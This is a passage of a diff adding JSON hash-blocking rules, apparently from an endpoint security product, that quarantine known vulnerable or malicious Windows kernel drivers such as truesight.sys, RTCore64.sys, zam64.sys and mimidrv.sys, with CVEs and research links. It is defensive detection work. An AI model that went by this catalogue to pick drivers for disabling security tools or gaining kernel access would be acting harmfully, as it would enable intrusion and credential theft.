+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619212Z",
+  "creation_date": "2026-03-23T11:45:29.619213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619219Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ed3379d7ac1ad8bcfd13cd2502420569088ee7f1e04522ada48481d9a545a08",
+  "comment": "Super Micro Computer physmem tool (aka phymem64.sys) [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63504905-0cb0-59d0-8c7f-8ef86d80c487",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614980Z",
+  "creation_date": "2026-03-23T11:45:29.614982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e68d453d333854787f8470c8baef3e0d082f26df5aa19c0493898bcf3401e39a",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "635c9606-ff46-561a-86d8-6d739d55845d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154822Z",
+  "creation_date": "2026-03-23T11:45:31.154824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5ef7639538292747b22596c39e69ea93d4e22fa88c61c7d40a297f3f5bf583b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6364052a-f4cb-553b-b50a-16b4b53f2ba6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481486Z",
+  "creation_date": "2026-03-23T11:45:31.481490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2662c1709399ffd679f23a71fc51ceae58948add2f5bb6f61550f348211d54ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63689efd-74b9-5d34-9dbf-4e2cf876b2d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159827Z",
+  "creation_date": "2026-03-23T11:45:31.159829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159835Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d8119e6113e7959f975cb880c93f6a684f465811c4a250a43ad0b6bba88d9e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "636a702b-ae92-539b-a49b-65b37bdeb960",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817574Z",
+  "creation_date": "2026-03-23T11:45:30.817576Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0584520b4b3bdad1d177329bd9952c0589b2a99eb9676cb324d1fce46dad0b9a",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "636ce957-5f13-5d12-9809-2ef587b0a43a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488569Z",
+  "creation_date": "2026-03-23T11:45:31.488571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9c3d1f24b6d9f8bc53e7fec105ace9ce71e934ad84b79ab72c96364131b575d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6370e251-bd39-5a56-a901-566e908e40ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479172Z",
+  "creation_date": "2026-03-23T11:45:31.479176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cccda46ceddaa78ce1cb5a5fa2e0ff6d83a6f1f7fe8d1c26eff2a0cd539cf92",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "637bd7f1-a372-5468-b23d-6cf9b9c61705",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618477Z",
+  "creation_date": "2026-03-23T11:45:29.618479Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618485Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c8cb72b9a011b60b1b9caea508b26fbbd95a1e3634af66082417381fe6544fb",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "637e8c32-1166-5bf9-8645-a58a5bdeea7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820081Z",
+  "creation_date": "2026-03-23T11:45:31.820085Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820094Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a55279e70f331ddbdb8d52f9b1e3af5a3462c589966283b9754cfe09821cb538",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "637f4dff-c6a6-5186-ad34-4189d9d80aa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471379Z",
+  "creation_date": "2026-03-23T11:45:30.471382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21e6d9229f380d5e9591beaa82bd93547f517af90707d7757f0e27ff4731b484",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/fbdd993b-47b1-4448-8c41-24c310802398/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63933b68-cd81-5626-beb1-1b23ff70e5ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971655Z",
+  "creation_date": "2026-03-23T11:45:29.971658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971666Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a166e70dcaf3ef12836db1927953ee528e532cdae8165e67d776971e4cbc48c",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63954bab-0515-52c2-8fe6-28ee216a9c6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143892Z",
+  "creation_date": "2026-03-23T11:45:31.143894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bca0038cf1d952db22d8b201dec2e4c4eeeceff4b0cbb9d81974027ae4646fa2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "639fd72f-6e56-5797-9854-c2b1ecf5a44f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607491Z",
+  "creation_date": "2026-03-23T11:45:29.607493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1766fd66f846d9a21e648d649ad35d1ff94f8ca17a40a9a738444d6b8e07aacb",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63ba3797-dfad-5f76-a4b9-06fb1238c48c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980081Z",
+  "creation_date": "2026-03-23T11:45:29.980083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a720c9a95ab33b29c19fc37fed2b4d2079a2e4b9bd861d406043bd6010fc4d71",
+  "comment": "Malicious Kernel Driver (aka mJj0ge.sys) [https://www.loldrivers.io/drivers/412f4aaf-5525-458c-b87e-311e504b856d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63c91180-20ca-5c75-a622-0b2273810e91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827179Z",
+  "creation_date": "2026-03-23T11:45:30.827181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827187Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "582b5a3d15aaed4d078c45b9ecd7812d5df987cda6de4c7e9fd9bc31c066679d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63df8fa9-a7eb-5351-8f05-29de8568b1b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465141Z",
+  "creation_date": "2026-03-23T11:45:30.465145Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465153Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2486f9359c94d7473ad8331b87a9c17ca9ba6e4109fd26ce92dff01969eaa09",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63e2c42f-9db3-5a3c-a30f-d7511543b152",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974000Z",
+  "creation_date": "2026-03-23T11:45:29.974002Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d783ace822f8fe4e25d5387e5dd249cb72e62f62079023216dc436f1853a150f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63e9c232-f698-5369-8865-0c034890a840",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481583Z",
+  "creation_date": "2026-03-23T11:45:31.481587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481597Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0f87e224d93bcee82e751f24912a8000e9e650b4a5e34cd4516433d3b498736",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63eaa8d7-a42f-5ba6-9d40-c97f6d254deb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465001Z",
+  "creation_date": "2026-03-23T11:45:30.465004Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "083f821d90e607ed93221e71d4742673e74f573d0755a96ad17d1403f65a2254",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63ed6003-d2d9-5761-b2b3-37cd16fc0bd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983050Z",
+  "creation_date": "2026-03-23T11:45:29.983052Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983058Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36861bb32abd5ba7955aa69269d27772f75d0306485d10ed045125816422c423",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63ee4378-cab2-54b6-8d2c-a992824b9fd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823659Z",
+  "creation_date": "2026-03-23T11:45:31.823661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a7f423e5a686a7114cfb5cf6a6070064fafd11cbc2337000c8c14c1f33ba256",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63ff631e-12b7-56ce-be8f-042c3d867eca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
